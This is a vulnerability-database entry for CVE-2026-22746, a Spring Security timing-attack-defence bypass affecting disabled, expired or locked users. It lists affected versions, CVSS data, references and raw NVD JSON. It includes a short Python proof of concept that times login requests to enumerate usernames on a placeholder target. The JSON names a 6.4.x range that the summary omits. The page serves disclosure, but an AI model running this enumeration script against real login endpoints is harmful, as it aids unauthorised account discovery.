CVE-2026-22746

Description

Vulnerability in Spring Spring Security. If an application is using the UserDetails#isEnabled, #isAccountNonExpired, or #isAccountNonLocked user attributes, to enable, expire, or lock users, then DaoAuthenticationProvider's timing attack defense can be bypassed for users who are disabled, expired, or locked.This issue affects Spring Security: from 5.7.0 through 5.7.22, from 5.8.0 through 5.8.24, from 6.3.0 through 6.3.15, from 6.5.0 through 6.5.9, from 7.0.0 through 7.0.4.

CVSS Details

CVSS Score

3.7

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:vmware:spring_security:*:*:*:*:*:*:*:* - VULNERABLE

Spring Security 5.7.0 - 5.7.22

Spring Security 5.8.0 - 5.8.24

Spring Security 6.3.0 - 6.3.15

Spring Security 6.5.0 - 6.5.9

Spring Security 7.0.0 - 7.0.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import time

def check_user_timing(url, username, password):
    """
    Attempts to detect timing differences to enumerate users.
    """
    payload = {'username': username, 'password': password}
    start_time = time.time()
    # Make the request. Adjust the endpoint and parameters based on the target application.
    response = requests.post(url, data=payload)
    end_time = time.time()
    elapsed = end_time - start_time
    return elapsed

# Example usage
target_url = "http://target-application/login"
user_list = ["admin", "testuser", "nonexistentuser"]

for user in user_list:
    # Measure time for a valid user (potentially locked/disabled)
    # vs an invalid user.
    duration = check_user_timing(target_url, user, "random_password")
    print(f"User: {user}, Response Time: {duration:.6f}s")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-22746
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-22746
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-22746/
[4] VulDB https://vuldb.com/cve/CVE-2026-22746
[5] https://spring.io/security/cve-2026-22746

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-22746", "sourceIdentifier": "[email protected]", "published": "2026-04-22T06:16:02.780", "lastModified": "2026-04-24T14:20:02.473", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in Spring Spring Security. If an application is using the UserDetails#isEnabled, #isAccountNonExpired, or #isAccountNonLocked user attributes, to enable, expire, or lock users, then DaoAuthenticationProvider's timing attack defense can be bypassed for users who are disabled, expired, or locked.This issue affects Spring Security: from 5.7.0 through 5.7.22, from 5.8.0 through 5.8.24, from 6.3.0 through 6.3.15, from 6.5.0 through 6.5.9, from 7.0.0 through 7.0.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-208"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_security:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.7.23", "matchCriteriaId": "0CA470A2-C6B0-4FDA-8459-BDC9E0C380D6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_security:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.8.0", "versionEndExcluding": "5.8.25", "matchCriteriaId": "B66D9DC9-CDA9-4FB7-8090-2A0ABB8BB4E3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_security:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.3.0", "versionEndExcluding": "6.3.16", "matchCriteriaId": "94D2E56E-3ABB-4025-BBB1-7E9B61E765D6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_security:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.4.0", "versionEndExcluding": "6.4.16", "matchCriteriaId": "6452E94A-BC89-4F38-A140-C55DC6DEC0A8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_security:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.5.0", "versionEndExcluding": "6.5.10", "matchCriteriaId": "5A35C014-6D64-4246-99B8-88BD7B5EC92F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_security:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.0.5", "matchCriteriaId": "0B8A5767-EB43-4E11-8E93-9324B70F7060"}]}]}], "references": [{"url": "https://spring.io/security/cve-2026-22746", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}